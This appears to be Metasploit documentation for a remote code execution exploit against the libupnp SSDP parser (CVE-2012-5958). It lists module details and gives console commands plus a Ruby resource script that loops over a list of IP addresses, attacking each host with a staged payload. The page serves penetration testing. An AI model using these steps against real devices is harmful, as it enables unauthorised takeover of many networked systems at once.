Module Overview
Name: Portable UPnP SDK unique_service_name() Remote Code Execution
Module: exploit/multi/upnp/libupnp_ssdp_overflow
Source code: modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
Disclosure date: 2013-01-29
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 1900
List of CVEs: CVE-2012-5958
This module exploits a buffer overflow in the unique_service_name() function of libupnp's SSDP processor. The libupnp library is used across thousands of devices and is referred to as the Intel SDK for UPnP Devices or the Portable SDK for UPnP Devices. Due to size limitations on many devices, this exploit uses a separate TCP listener to stage the real payload.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Using libupnp_ssdp_overflow against a single host
Normally, you can use exploit/multi/upnp/libupnp_ssdp_overflow this way:
msf > use exploit/multi/upnp/libupnp_ssdp_overflow
msf exploit(libupnp_ssdp_overflow) > show targets
... a list of targets ...
msf exploit(libupnp_ssdp_overflow) > set TARGET target-id
msf exploit(libupnp_ssdp_overflow) > show options
... show and set options ...
msf exploit(libupnp_ssdp_overflow) > exploit
Using libupnp_ssdp_overflow against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your libupnp_ssdp_overflow will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/upnp/libupnp_ssdp_overflow")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
